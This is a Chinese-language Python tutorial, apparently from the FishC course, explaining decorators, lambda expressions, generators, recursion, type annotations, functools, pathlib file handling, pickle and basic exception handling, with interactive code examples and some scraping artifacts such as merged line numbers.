这个 @加上装饰器名字其实是个语法糖,装饰器原本的样子应该这么调用的:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18import time
def time_master(func):
def call_func():
print("开始运行程序...")
start = time.time()
func()
stop = time.time()
print("结束程序运行...")
print(f"一共耗费了 {(stop-start):.2f} 秒。")
return call_func
def myfunc():
time.sleep(2)
print("I love FishC.")
myfunc = time_master(myfunc)
myfunc()
这个就是装饰器的实现原理啦~
多个装饰器也可以用在同一个函数上:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25def add(func):
def inner():
x = func()
return x + 1
return inner
def cube(func):
def inner():
x = func()
return x * x * x
return inner
def square(func):
def inner():
x = func()
return x * x
return inner
@add
@cube
@square
def test():
return 2
print(test())
程序实现如下:65
这样的话,就是先计算平方(square 装饰器),再计算立方(cube 装饰器),最后再加 1(add 装饰器)。
如何给装饰器传递参数呢?
答案是添加多一层嵌套函数来传递参数:
1 | import time |
程序实现如下:1
2
3
4正在调用funA...
[A]一共耗费了 1.01
正在调用funB...
[B]一共耗费了 1.04
我们将语法糖去掉,拆解成原来的样子,你就知道原理了:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25import time
def logger(msg):
def time_master(func):
def call_func():
start = time.time()
func()
stop = time.time()
print(f"[{msg}]一共耗费了 {(stop-start):.2f}")
return call_func
return time_master
def funA():
time.sleep(1)
print("正在调用funA...")
def funB():
time.sleep(1)
print("正在调用funB...")
funA = logger(msg="A")(funA)
funB = logger(msg="B")(funB)
funA()
funB()
程序实现如下:1
2
3
4正在调用funA...
[A]一共耗费了 1.02
正在调用funB...
[B]一共耗费了 1.01
这里其实就是给它裹多一层嵌套函数上去,然后通过最外层的这个函数来传递装饰器的参数。
这样,logger(msg=”A”) 得到的是 timemaster() 函数的引用,然后再调用一次,并传入 funA,也就是这个 logger(msg=”A”)(funA),得到的就是 call_func() 函数的引用,最后将它赋值回 funA()。
咱们对比一下没有参数的描述器,这里其实就是添加了一次调用,然后通过这次调用将参数给传递进去而已。
14.22.1 lambda 表达式
lambda 表达式,也就是大牛们津津乐道的匿名函数。
只要掌握了 lambda 表达式,你也就掌握了一行流代码的核心 —— 仅使用一行代码,就能解决一件看起来相当复杂的事情。
它的语法是这样的:
lambda arg1, arg2, arg3, ... argN : expression
lambda 是个关键字,然后是冒号,冒号左边是传入函数的参数,冒号后边是函数实现表达式以及返回值。
我们可以将 lambda 表达式的语法理解为一个极致精简之后的函数,如果使用传统的函数定义方式,应该是这样:
1 | def <lambda>(arg1, arg2, arg3, ... argN): |
如果要求我们编写一个函数,让它求出传入参数的平方值,以前我们这么写:
1 | >>> def squareX(x): |
现在我们这么写:
1 | >>> squareY = lambda y : y * y |
传统定义的函数,函数名就是一个函数的引用:
1 | >>> squareX |
而 lambda 表达式,整个表达式就是一个函数的引用:
1 | >>> squareY |
14.22.2lambda 表达式的优势
lambda 是一个表达式,因此它可以用在常规函数不可能存在的地方:
1 | >>> y = [lambda x : x * x, 2, 3] |
注意:这里说的是将整个函数的定义过程都放到列表中哦~
14.22.3 与 map() 和 filter() 函数搭配使用
利用 lambda 表达式与 map() 和 filter() 函数搭配使用,会使代码显得更加 Pythonic:1
2
3
4>>> list(mapped = map(lambda x : ord(x) + 10, "FishC"))
[80, 115, 125, 114, 77]
>>> list(filter(lambda x : x % 2, range(10)))
[1, 3, 5, 7, 9]
14.22.4 总结
lambda 是一个表达式,而非语句,所以它能够出现在 Python 语法不允许 def 语句出现的地方,这是它的最大优势。
但由于所有的功能代码都局限在一个表达式中实现,因此,lambda 通常只能实现那些较为简单的需求。
当然,Python 肯定是有意这么设计的,让 lambda 去做那些简单的事情,我们就不用花心思去考虑这个函数叫什么,那个函数叫什么……def 语句则负责用于定义功能复杂的函数,去处理那些复杂的工作。
14.23 生成器
在 Python 中,使用了 yield 语句的函数被称为生成器(generator)。
与普通函数不同的是,生成器是一个返回生成器对象的函数,它只能用于进行迭代操作,更简单的理解是 —— 生成器就是一个特殊的迭代器。在调用生成器运行的过程中,每次遇到 yield 时函数会暂停并保存当前所有的运行信息,返回 yield 的值, 并在下一次执行 yield 方法时从当前位置继续运行。定义一个生成器,很简单,就是在函数中,使用 yield 表达式代替 return 语句即可。
举个例子:1
2
3
4
5>>> def counter():
... i = 0
... while i <= 5:
... yield i
... i += 1
现在我们调用 counter() 函数,得到的不是一个返回值,而是一个生成器对象:1
2>>> counter()
<generator object counter at 0x0000025835D0D5F0>
我们可以把它放到一个 for 语句中:1
2
3
4
5
6
7
8
9>>> for i in counter():
... print(i)
...
0
1
2
3
4
5
注意:生成器不像列表、元组这些可迭代对象,你可以把生成器看作是一个制作机器,它的作用就是每调用一次提供一个数据,并且会记住当时的状态。而列表、元组这些可迭代对象是容器,它们里面存放着早已准备好的数据。
生成器可以看作是一种特殊的迭代器,因为它首先是 “不走回头路”,第二是支持 next() 函数:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18>>> c = counter()
>>> next(c)
0
>>> next(c)
1
>>> next(c)
2
>>> next(c)
3
>>> next(c)
4
>>> next(c)
5
next(c)
Traceback (most recent call last):
File "<pyshell#51>", line 1, in <module>
next(c)
StopIteration
当没有任何元素产出的时候,它就会抛出一个 “StopIteration” 异常。
由于生成器每调用一次获取一个结果这样的特性,导致生成器对象是无法使用下标索引这样的随机访问方式:1
2
3
4
5
6>>> c = counter()
>>> c[2]
Traceback (most recent call last):
File "<pyshell#53>", line 1, in <module>
c[2]
TypeError: 'generator' object is not subscriptable
使用生成器来求出斐波那契数列:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25>>> def fib():
... back1, back2 = 0, 1
... while True:
... yield back1
... back1, back2 = back2, back1 + back2
...
>>> f = fib()
>>> next(f)
0
>>> next(f)
1
>>> next(f)
1
>>> next(f)
2
>>> next(f)
3
>>> next(f)
5
>>> next(f)
8
>>> next(f)
13
>>> next(f)
21
只要我们调用 next(f),就可以继续生成一个新的斐波那契数,由于我们在函数中没有设置结束条件,那么这样我们就得到了一个永恒的斐波那契数列生成器,薪火相传、生生不息。
14.24 生成器表达式
其实在前面讲解元组的时候,小甲鱼就给大家预告了这一章节的到来。
因为列表有推导式,元组则没有,如果非要这么写:
1 | >>> (i ** 2 for i in range(10)) |
那么我们可以看到,它其实就是得到一个生成器嘛:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19>>> t = (i ** 2 for i in range(10))
>>> next(t)
0
>>> next(t)
1
>>> next(t)
4
>>> next(t)
9
>>> next(t)
16
>>> for i in t:
... print(i)
...
25
36
49
64
81
这种利用推导的形式获取生成器的方法,我们称之为生成器表达式。
14.25 递归
递归就是就是函数调用自身的过程,举个例子:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16>>> def funC():
... print("AWBDYL")
... funC()
...
>>> funC()
AWBDYL
AWBDYL
AWBDYL
AWBDYL
AWBDYL
AWBDYL
AWBDYL
AWBDYL
AWBDYL
AWBDYL
...
上面代码会持续输出 “AWBDYL”,直到你把 IDLE 关闭或者使用 Ctrl + c 快捷键强制中断执行。
加上一个条件判断语句,让递归在恰当的时候进行回归,那么失控的局面就得到了控制:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17>>> def funC(i):
... if i > 0:
... print("AWBDYL")
... i -= 1
... funC(i)
...
>>> funC(10)
AWBDYL
AWBDYL
AWBDYL
AWBDYL
AWBDYL
AWBDYL
AWBDYL
AWBDYL
AWBDYL
AWBDYL
再次强调一下,要让递归正常工作,必须要有一个结束条件,并且每次调用都将向着这个结束条件推进。
14.25.1 使用递归求一个数的阶乘
一个正整数的阶乘,是指所有小于及等于该数的正整数的积,所以 5 的阶乘是 1×2×3×4×5,结果等于 120。
我们先来试试迭代的实现方法:1
2
3
4
5
6
7
8
9
10>>> def factIter(n):
... result = n
... for i in range(1, n):
... result *= i
... return result
...
>>> factIter(5)
120
>>> factIter(10)
3628800
那么递归来实现的话,代码则是像下面这样:1
2
3
4
5
6
7
8
9
10>>> def factRecur(n):
... if n == 1:
... return 1
... else:
... return n * factRecur(n-1)
...
>>> factRecur(5)
120
>>> factRecur(10)
3628800
14.25.2 使用递归求斐波那契数列
斐波那契数列由 0 和 1 开始,之后的斐波那契数就是由之前的两数相加而得出。
首几个斐波那契数是:
1、 1、 2、 3、 5、 8、 13、 21、 34、 55、 89、 144、 233、 377、 610、 987……
我们先来试试迭代的实现方法:1
2
3
4
5
6
7
8
9
10
11
12
13>>> def fibIter(n):
... a = 1
... b = 1
... c = 1
... while n > 2:
... c = a + b
... a = b
... b = c
... n -= 1
... return c
...
>>> fibIter(12)
144
如果使用递归来实现,代码就是这样的:1
2
3
4
5
6
7
8>>> def fibRecur(n):
... if n == 1 or n == 2:
... return 1
... else:
... return fibRecur(n-1) + fibRecur(n-2)
...
>>> fibRecur(12)
144
14.26.1 汉诺塔的故事
汉诺塔其实是 1883 年的时候,由法国数学家卢卡斯发明的。不过这个游戏呢,与一个古老的印度传说有关:据说在世界中心贝拿勒斯的圣庙里边,有一块黄铜板,上边插着三根宝针。印度教的主神梵天在创造世界的时候,在其中一根针上从下到上地穿好了由大到小的 64 片金片,这就是所谓的汉诺塔原型。然后不论白天还是黑夜,总有一个僧侣按照下面的规则来移动这些金片:“一次只移动一片,不管在哪根针上,小片必须在大片上面。”另外僧侣们预言,当所有的金片都从梵天穿好的那根针上移到另外一根针上时,世界就将在一声霹雳中消灭,而梵塔、 和众生也都将同归于尽。
16.26.2 汉诺塔玩法分解
对于游戏的玩法,我们可以简单分解为三个步骤:
- 将顶上的 63 个金片从 A 移动到 B
- 将最底下的第 64 个金片从 A 移动到 C
- 将 B 上的 63 个金片移动到 C
看着跟没说一样……
那么先让我们把难度简化为婴儿等级 —— 3 个金片:
- 将顶上的 2 个金片从 A 移动到 B
- 将最底下的第 3 个金片从 A 移动到 C
- 将 B 上的 2 个金片移动到 C
第 2 个步骤仍然是一步到位,难点就在于第 1 和第 3 个步骤,不过难度经过降级之后,我们可以简单看出:
第 1 个步骤只需要借助 C,就可以将两个金片从 A 移到 B,第 3 个步骤只需要借助 A,就可以将 2 个金片从 B 移到 C。
于是:1.将顶上的 2 个金片从 A 移动到 B 上,确保大片在小片下方
- 将顶上的 1 个金片从 A 移到 C 上
- 将底下的 1 个金片从 A 移到 B 上
- 将 C 上的 1 个金片移动到 B 上
2.将最底下的第 3 个金片从 A 移动到 C 上
3.将 B 上的 2 个金片移动到 C 上
- 将顶上的 1 个金片从 B 移到 A 上
- 将底下的 1 个金片从 B 移到 C 上
- 将 A 上的 1 个金片移动到 C 上
16.26.3 汉诺塔代码实现
1 | def hanoi(n, x, y, z): |
16.27 函数文档
使用help()函数,我们可以快速查看到一个函数的使用文档:1
2
3
4
5
6
7
8
9
10
11
12>>> help(print)
Help on built-in function print in module builtins:
print(...)
print(value, ..., sep=' ', end='\n', file=sys.stdout, flush=False)
Prints the values to a stream, or to sys.stdout by default.
Optional keyword arguments:
file: a file-like object (stream); defaults to the current sys.stdout.
sep: string inserted between values, default a space.
end: string appended after the last value, default a newline.
flush: whether to forcibly flush the stream.
创建函数文档非常简单,使用字符串就可以了,举个例子:1
2
3
4
5
6
7
8
9
10
11
12
13>>> def exchange(dollar, rate=7.28):
... """
... 功能:汇率转换,美元 -> 人民币
... 参数:
... - dollar 美元数量
... - rate 汇率,默认值是7.28(2022-08-29)
... 返回值:
... - 人民币的数量
... """
... return dollar * rate
...
>>> exchange(20)
145.6
- 注意:函数文档一定是在函数的最顶部。我们可以看到,函数开头的几行字符串并不会被打印出来,但它将作为函数的文档被保存起来。
现在通过 help() 函数,就可以查看到 exchange() 的文档了:1
2
3
4
5
6
7
8
9
10
11
12
13>>> help(exchange)
Help on function exchange in module __main__:
exchange(dollar, rate=7.28)
功能:汇率转换,美元 -> 人民币
参数:
- dollar 美元数量
- rate 汇率,默认值是7.28(2022-08-29)
返回值:
- 人民币的数量
>>> def times(s:str, n:int) -> str:
... return s * n
16.28 类型注释
有时候,你可能会看到这样的代码:1
2>>> def times(s:str, n:int) -> str:
... return s * n
其实这里面多出来的东东,就是 Python 的类型注释啦~
比如上面代码表示该函数的作者,希望调用者传入到 s 参数的是字符串类型,传入到 n 参数的是整数类型,最后还告诉我们函数将会返回一个字符串类型的返回值:1
2>>> times("FishC", 5)
'FishCFishCFishCFishCFishC'
当然,这只不过是函数作者的寄望,如果调用者非要胡来,Python 也是不会出面阻止的:1
2>>> times(5, 5)
25
因为这只是类型注释,是给人看的,不是给机器看的哈。
如果需要使用默认参数,那么类型注释可以这么写:1
2
3
4
5>>> def times(s:str = "FishC", n:int = 5) -> str:
... return s * n
...
>>> times()
'FishCFishCFishCFishCFishC'
如果期望的参数类型是列表,可以这么写:1
2
3
4
5>>> def times(s:list, n:int = 5) -> list:
... return s * n
...
>>> times([1, 2, 3], 3)
[1, 2, 3, 1, 2, 3, 1, 2, 3]
如果还想更进一步,比如期望参数类型是一个整数列表(也就是列表中所有的元素都是整数),那么代码可以这么写:1
2>>> def times(s:list[int], n:int = 5) -> list:
... return s * n
映射类型也可以使用这种方法,比如我们期望字典的键是字符串,值是整数,可以这么写:1
2
3
4
5>>> def times(s:dict[str, int], n:int = 5) -> list:
... return list(s.keys()) * n
...
>>> times({'A':1, 'B':2, 'C':3}, 3)
['A', 'B', 'C', 'A', 'B', 'C', 'A', 'B', 'C']
16.29 mypy
Mypy 模块的安装及使用介绍 -> 传送门
16.30 内省
内省,其实最先是心理学的基本研究方法之一,又称为自我观察法。它是发生在内部的,我们自己能够意识到的主观现象。
Python 通过一些特殊的属性来实现内省,比如我们想知道一个函数的名字,可以使用 name:
1 | >>> times.__name__ |
使用 ___annotations__ 查看函数的类型注释:1
2>>> times.__annotations__
{'s': dict[str, int], 'n': <class 'int'>, 'return': list[str]}
查看函数文档,可以使用 __doc__:1
2>>> exchange.__doc__
'\n\t功能:汇率转换,美元 -> 人民币\n\t参数:\n\t- dollar 美元数量\n\t- rate 汇率,默认值 6.32(2022-03-07)\n\t返回值:\n\t- 人民币数量\n\t'
阅读不友好,咱们使用 print() 函数给打印一下:1
2
3
4
5
6
7
8>>> print(exchange.__doc__)
功能:汇率转换,美元 -> 人民币
参数:
- dollar 美元数量
- rate 汇率,默认值 6.32(2022-03-07)
返回值:
- 人民币数量
16.31.1 高阶函数
在前面的学习中,我们发现,函数是可以被当作变量一样自由使用的,那么当一个函数接收另一个函数作为参数的时候,这种函数就称之为高阶函数。
高阶函数几乎就是函数式编程的灵魂所在,所以 Python 专程为此搞了一个模块 —— functools,这里面包含了非常多实用的高阶函数,以及装饰器。
友情提示,这是好东西,一定要收藏 -> functools — 高阶函数
16.31.2 reduce() 函数
1 | >>> def add(x, y): |
它的第一个参数是指定一个函数,这个函数必须接收两个参数,然后第二个参数是一个可迭代对象,reduce() 函数的作用就是将可迭代对象中的元素依次传递到第一个参数指定的函数中,最终返回累积的结果。
其实就相当于这样子:1
2>>> add(add(add(add(1, 2), 3), 4), 5)
15
另外,将 reduce() 函数的第一个参数写成 lambda 表达式,代码就更加极客了,比如我们要计算 10 的阶乘,那么可以这么写:1
2>>> functools.reduce(lambda x,y:x*y, range(1, 11))
3628800
16.31.3 偏函数(partial function)
偏函数是对指定函数的二次包装,通常是将现有函数的部分参数预先绑定,从而得到一个新的函数,该函数就称为偏函数。1
2
3
4
5
6
7
8
9
10>>> square = functools.partial(pow, exp=2)
>>> square(2)
4
>>> square(3)
9
>>> cube = functools.partial(pow, exp=3)
>>> cube(2)
8
>>> cube(3)
27
偏函数的实现原理大致等价于:1
2
3
4
5
6
7
8def partial(func, /, *args, **keywords):
def newfunc(*fargs, **fkeywords):
newkeywords = {**keywords, **fkeywords}
return func(*args, *fargs, **newkeywords)
newfunc.func = func
newfunc.args = args
newfunc.keywords = keywords
return newfunc
其实不难发现,它的实现原理就是闭包!
只不过使用偏函数的话更简单了一些,细节实现不用我们去费脑子了,直接拿来就用。
16.31.4 @wraps 装饰器
让我们先回到讲解装饰器时候的例子:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18import time
def time_master(func):
def call_func():
print("开始运行程序...")
start = time.time()
func()
stop = time.time()
print("结束程序运行...")
print(f"一共耗费了 {(stop-start):.2f} 秒。")
return call_func
@time_master
def myfunc():
time.sleep(2)
print("I love FishC.")
myfunc()
程序实现如下:1
2
3
4开始运行程序...
I love FishC.
结束程序运行...
一共耗费了 2.01 秒
这里的代码呢,其实是有一个 “副作用” 的:1
2>>> myfunc.__name__
'call_func'
竟然,myfunc 的名字它不叫 ‘my_func’,而是叫 ‘call_func’……
这个其实就是装饰器的一个副作用,虽然通常情况下用起来影响不大,但大佬的眼睛里哪能容得下沙子,对吧?
所以发明了这个 @wraps 装饰器来装饰装饰器:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20import time
import functools
def time_master(func):
@functools.wraps(func)
def call_func():
print("开始运行程序...")
start = time.time()
func()
stop = time.time()
print("结束程序运行...")
print(f"一共耗费了 {(stop-start):.2f} 秒。")
return call_func
@time_master
def myfunc():
time.sleep(2)
print("I love FishC.")
myfunc()
程序实现如下:1
2
3
4
5
6开始运行程序...
I love FishC.
结束程序运行...
一共耗费了 2.01 秒
>>> myfunc.__name__
'myfunc'
16.35.1 永久储存
当我们在说 “永久存储” 的时候,是希望将数据保存到硬盘上,而非内存,因为内存在计算机断电后数据将会丢失。
16.35.2 打开文件
使用 Python 打开一个文件,我们需要用到 open() 函数:>>> f = open("FishC.txt", "w")
第一个参数指定的是文件路径和文件名,这里我们没有添加路径的话,那么默认是将文件创建在 Python 的主文件夹下面,因为执行 IDLE 的程序就放在那里嘛(同样的道理,如果我们在桌面创建一个 test.py 的源文件,然后输入打开文件的代码,那么它就会在桌面创建一个 FishC.txt 的文本文件)。
第二个参数是指定文件的打开模式:
:-|:-|
字符串|含义
‘r’|读取(默认)
‘w’|写入(如果文件已存在则先截断清空文件)
‘x’|排他性创建文件(如果文件已存在则打开失败)
‘a’|追加(如果文件已存在则在末尾追加内容)
‘b’|二进制模式
‘t’|文本模式(默认)
‘+’|更新文件(读取和写入)
16.35.3 文件对象的各种方法大合集
open() 函数成功调用之后,会返回一个文件对象,那么通过这个文件对象,我们就可以往这个文件里面写入数据啦。
文件对象,提供了一系列方法,让你可以对它为所欲为。
文件对象的各种方法大合集 -> 传送门
有两个方法可以将字符串写入到文本对象种,一个是 write(),一个是 writelines():1
2>>> f.write("I love Python.")
14
使用 write() 方法,它有一个返回值,就是总共写入到文件对象中的字符个数。
使用 writelines() 方法,则可以将多个字符串同时写入:1
2>>> f.writelines(["I love FishC.\n", "I love my wife."])
>>>
注意:虽然 writelines() 方法支持传入多个字符串,但它不会帮你添加换行符,所以我们要自己添加才行。[/n]
16.35.4 关闭文件
我们使用 close() 方法来关闭文件:1
2>>> f.close()
>>>
注意,文件对象关闭之后,我们就没办法对它进行操作了。如果想要继续操作文件,那么我们必须重新打开它。
16.36 实用高效的速查手册(大家记得收藏哦)
pathlib 速查手册 -> 传送门
新旧路径处理模块大比拼(pathlib vs os.path)-> 传送门
16.37 pathlib.Path 实用功能讲解
使用 Path 里面的 cwd() 方法来获取当前的工作目录:1
2>>> Path.cwd()
WindowsPath('C:/Users/goodb/AppData/Local/Programs/Python/Python39')
创建路径对象:>>> p = Path('C:/Users/goodb/AppData/Local/Programs/Python/Python39')
使用斜杠 / 直接进行路径拼接:1
2
3>>> q = p / "FishC.txt"
>>> q
WindowsPath('C:/Users/goodb/AppData/Local/Programs/Python/Python39/FishC.txt')
使用 is_dir() 方法可以判断一个路径是否为一个文件夹:1
2
3
4>>> p.is_dir()
True
>>> q.is_dir()
False
使用 is_file() 方法可以判断一个路径是否为一个文件:1
2
3
4>>> p.is_file()
False
>>> q.is_file()
True
通过 exists() 方法测试指定的路径是否真实存在:1
2
3
4
5
6>>> p.exists()
True
>>> q.exists()
True
>>> Path("C:/404").exists()
False
使用 name 属性去获取路径的最后一个部分:1
2
3
4>>> p.name
'Python39'
>>> q.name
'FishC.txt'
stem 属性用于获取文件名,suffix 属性用于获取文件后缀:1
2
3
4>>> q.stem
'FishC'
>>> q.suffix
'.txt'
parent 属性用于获取其父级目录:1
2
3
4>>> p.parent
WindowsPath('C:/Users/goodb/AppData/Local/Programs/Python')
>>> q.parent
WindowsPath('C:/Users/goodb/AppData/Local/Programs/Python/Python39')
加个复数,parents,还可以获得其逻辑祖先路径构成的一个不可变序列:1
2
3
4
5
6
7
8
9
10
11
12
13>>> p.parents
<WindowsPath.parents>
>>> ps = p.parents
>>> for each in ps:
... print(each)
...
C:\Users\goodb\AppData\Local\Programs\Python
C:\Users\goodb\AppData\Local\Programs
C:\Users\goodb\AppData\Local
C:\Users\goodb\AppData
C:\Users\goodb
C:\Users
C:\
还支持索引:1
2
3
4
5
6>>> ps[0]
WindowsPath('C:/Users/goodb/AppData/Local/Programs/Python')
>>> ps[1]
WindowsPath('C:/Users/goodb/AppData/Local/Programs')
>>> ps[2]
WindowsPath('C:/Users/goodb/AppData/Local')
parts 属性将路径的各个组件拆分成元组的形式:1
2
3
4>>> p.parts
('C:\\', 'Users', 'goodb', 'AppData', 'Local', 'Programs', 'Python', 'Python39')
>>> q.parts
('C:\\', 'Users', 'goodb', 'AppData', 'Local', 'Programs', 'Python', 'Python39', 'FishC.txt')
最后,还可以查询文件或文件夹的状态信息:1
2
3
4>>> p.stat()
os.stat_result(st_mode=16895, st_ino=281474976983758, st_dev=1289007019, st_nlink=1, st_uid=0, st_gid=0, st_size=4096, st_atime=1648462096, st_mtime=1648205377, st_ctime=1605695407)
>>> q.stat()
os.stat_result(st_mode=33206, st_ino=4503599627467517, st_dev=1289007019, st_nlink=1, st_uid=0, st_gid=0, st_size=0, st_atime=1648206152, st_mtime=1648206152, st_ctime=1648205377)
比如这个 st_size 就是文件或文件夹的尺寸信息:1
2
3
4>>> p.stat().st_size
4096
>>> q.stat().st_size
0
使用 resolve() 方法可以将相对路径转换为绝对路径:1
2
3
4>>> Path('./doc').resolve()
WindowsPath('C:/Users/goodb/AppData/Local/Programs/Python/Python39/Doc')
>>> Path('../FishC').resolve()
WindowsPath('C:/Users/goodb/AppData/Local/Programs/Python/FishC')
最后还可以通过 iterdir() 获取当前路径下面的所有子文件和子文件夹对象:1
2>>> p.iterdir()
<generator object Path.iterdir at 0x0000012D57CBE660>
最后还可以通过 iterdir() 获取当前路径下面的所有子文件和子文件夹对象:1
2>>> p.iterdir()
<generator object Path.iterdir at 0x0000012D57CBE660>
它生成的是一个迭代器对象,所以可以放到 for 语句中去提取数据:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21>>> for each in p.iterdir():
... print(each.name)
...
DLLs
Doc
FishC
FishC.txt
include
Lib
libs
LICENSE.txt
NEWS.txt
python.exe
python3.dll
python39.dll
pythonw.exe
Scripts
tcl
Tools
vcruntime140.dll
vcruntime140_1.dll
如果我们要将当前路径下面的所有文件整理成一个列表,可以这么做(注意,是文件,不包含文件夹,所以我们要加一个条件过滤):1
2>>> [x for x in p.iterdir() if x.is_file()]
[WindowsPath('FishC.txt'), WindowsPath('LICENSE.txt'), WindowsPath('NEWS.txt'), WindowsPath('python.exe'), WindowsPath('python3.dll'), WindowsPath('python39.dll'), WindowsPath('pythonw.exe'), WindowsPath('vcruntime140.dll'), WindowsPath('vcruntime140_1.dll')]
以上是用得比较多的,与路径查询相关的操作。
那么修改路径也是支持的,比如我们可以使用 mkdir() 方法来创建文件夹:1
2
3>>> n = p / "FishC"
>>> n.mkdir()
>>>
注意,如果需要创建的文件夹已经存在,那么它就会报错:1
2
3
4
5
6
7>>> n.mkdir()
Traceback (most recent call last):
File "<pyshell#16>", line 1, in <module>
n.mkdir()
File "C:\Users\goodb\AppData\Local\Programs\Python\Python39\lib\pathlib.py", line 1323, in mkdir
self._accessor.mkdir(self, mode)
FileExistsError: [WinError 183] 当文件已存在时,无法创建该文件。: 'C:\\Users\\goodb\\AppData\\Local\\Programs\\Python\\Python39\\FishC'
也可以避开这个报错信息,我们设置其 exist_ok 参数的值为 True 即可:>>> n.mkdir(exist_ok=True)
还有一点需要注意的就是,如果路径中有存在多个不存在的父级目录,那么也会出错的,比如这样:1
2
3
4
5
6
7
8>>> n = p / "FishC/A/B/C"
>>> n.mkdir(exist_ok=True)
Traceback (most recent call last):
File "<pyshell#22>", line 1, in <module>
n.mkdir(exist_ok=True)
File "C:\Users\goodb\AppData\Local\Programs\Python\Python39\lib\pathlib.py", line 1323, in mkdir
self._accessor.mkdir(self, mode)
FileNotFoundError: [WinError 3] 系统找不到指定的路径。: 'C:\\Users\\goodb\\AppData\\Local\\Programs\\Python\\Python39\\FishC\\A\\B\\C'
它也定义了一个参数用于对付这种情况,将 parents 参数设置为 True 就可以了:>>> n.mkdir(parents=True, exist_ok=True)
Path 内部其实还打包了一个 open() 方法,除了不用传入路径之外,其它参数跟 open() 函数是一摸一样的:1
2
3
4
5
6
7>>> n = n / 'FishC.txt'
>>> n
WindowsPath('C:/Users/goodb/AppData/Local/Programs/Python/Python39/FishC/A/B/C/FishC.txt')
>>> f = n.open('w')
>>> f.write("I love FishC.")
13
>>> f.close()
可以给文件或文件夹修改名字,使用 rename() 方法来实现:1
2>>> n.rename("NewFishC.txt")
WindowsPath('NewFishC.txt')
然后使用 replace() 方法替换文件或文件夹:1
2
3
4
5>>> m = Path("NewFishC.txt")
>>> n
WindowsPath('C:/Users/goodb/AppData/Local/Programs/Python/Python39/FishC/A/B/C/FishC.txt')
>>> m.replace(n)
WindowsPath('C:/Users/goodb/AppData/Local/Programs/Python/Python39/FishC/A/B/C/FishC.txt')
还有删除操作,rmdir() 和 unlink() 方法,前者用于删除文件夹,后者用于删除文件:1
2
3
4
5
6
7>>> n.parent.rmdir()
Traceback (most recent call last):
File "<pyshell#6>", line 1, in <module>
n.parent.rmdir()
File "C:\Users\goodb\AppData\Local\Programs\Python\Python39\lib\pathlib.py", line 1363, in rmdir
self._accessor.rmdir(self)
OSError: [WinError 145] 目录不是空的。: 'C:\\Users\\goodb\\AppData\\Local\\Programs\\Python\\Python39\\FishC\\A\\B\\C'
可以看到,如果不是空文件夹,它是删不掉的,我们需要先把里面的文件删了:>>> n.unlink()
现在再删除文件夹,就 OK 啦:>>> n.parent.rmdir()
最后是功能强大的查找,由 glob() 方法来实现:1
2
3>>> p = Path('.')
>>> list(p.glob("*.txt"))
[WindowsPath('FishC.txt'), WindowsPath('LICENSE.txt'), WindowsPath('NEWS.txt')]
这就查找当前目录下的所有 .txt后缀的文件,如果要查找当前目录的下一级目录中的所有 .py 后缀的文件,可以这么写:1
2>>> list(p.glob('*/*.py'))
[WindowsPath('Lib/abc.py'), WindowsPath('Lib/aifc.py'), WindowsPath('Lib/antigravity.py'), ...]
好了,那么如果希望进行向下递归搜索,也就是查找当前目录以及该目录下面的所有子目录,可以使用两个星号**表示:1
2>>> list(p.glob('**/*.py'))
[WindowsPath('Lib/abc.py'), WindowsPath('Lib/aifc.py'), WindowsPath('Lib/antigravity.py'), ...]
16.37 with 语句和上下文管理器
上下文管理器为文件操作提供了一种更为优雅的实现方式。
我们先来看一下传统的文件操作实现:1
2
3
4>>> f = open("FishC.txt", "w")
>>> f.write("I love FishC.")
13
>>> f.close()
总结下来无非就是三板斧:打开文件 -> 操作文件 -> 关闭文件
那么使用 with 上下文管理器方案,应该如何实现呢?1
2
3
4>>> with open("FishC.txt", "w") as f:
... f.write("I love FishC.")
...
13
两者是等效的,通俗来讲,对于文件操作这样的三板斧来说,上文就是打开文件,下文就是关闭文件,这个就是上下文管理器做的事情。
使用上下文管理器,最大的优势是能够确保资源的释放(在这里就是文件的正常关闭)。
16.38 pickle
pickle 模块支持你将 Python 的代码序列化,解决的就是一个永久存储 Python 对象的问题。
说白了,就是将咱们的源代码,转变成 0101001 的二进制组合。
掌握 pickle,只需要学习两个函数的用法:一个是 dump(),另一个是 load()。
使用 dump() 函数将数据写入文件中(文件后缀要求是 .pkl):
1 | import pickle |
使用 load() 函数读取 pickle 文件中的数据:1
2
3
4
5
6
7
8
9
10
11import pickle
with open("data.pkl", "rb") as f:
x = pickle.load(f)
y = pickle.load(f)
z = pickle.load(f)
s = pickle.load(f)
l = pickle.load(f)
d = pickle.load(f)
print(x, y, z, s, l, d, sep="\n")
如果觉得反复写很多个 dump() 和 load() 太麻烦了,可以将多个对象打包成元组后再进行序列化:1
2
3
4
5...
pickle.dump((x, y, z, s, l, d), f)
...
x, y, z, s, l, d = pickle.load(f)
...
16.39 异常
16.39.1 编程时通常会遇到的两类错误
一类是语法错误,就是不按 Python 规定的语法来写代码,这也是初学者最容易犯的错误,比如:1
2>>> print(“I love FishC.”)
SyntaxError: invalid character '“' (U+201C)
另一类错误并非由于语法错误导致的:1
2
3
4
5>>> 1 / 0
Traceback (most recent call last):
File "<pyshell#3>", line 1, in <module>
1 / 0
ZeroDivisionError: division by zero
这里虽然 Python 的语法没有错,但由于没有过硬的小学数学知识,同样导致了代码无法正确执行,引发了 ZeroDivisionError 这个异常。
16.39.2 异常机制
Python 通过提供异常机制来识别及响应错误。
Python 的异常机制可以分离出程序中的异常处理代码和正常业务代码,使得程序代码更为优雅,并提高了程序的健壮性。
Python 内置异常大合集 -> 传送门(Python 的所有内置异常,全部都在这里了,大家遇到看不懂的异常信息,直接打开这个网页,然后 Ctrl+F,输入异常的名称就可以)
16.39.3 处理异常
利用 try-except 语句来捕获并处理异常语法如下:
1 | try: |
举个例子:1
2
3
4
5
6>>> try:
... 1 / 0
... except:
... print("出错了~")
...
出错了~
我们可以在 except 后面指定一个异常:1
2
3
4
5
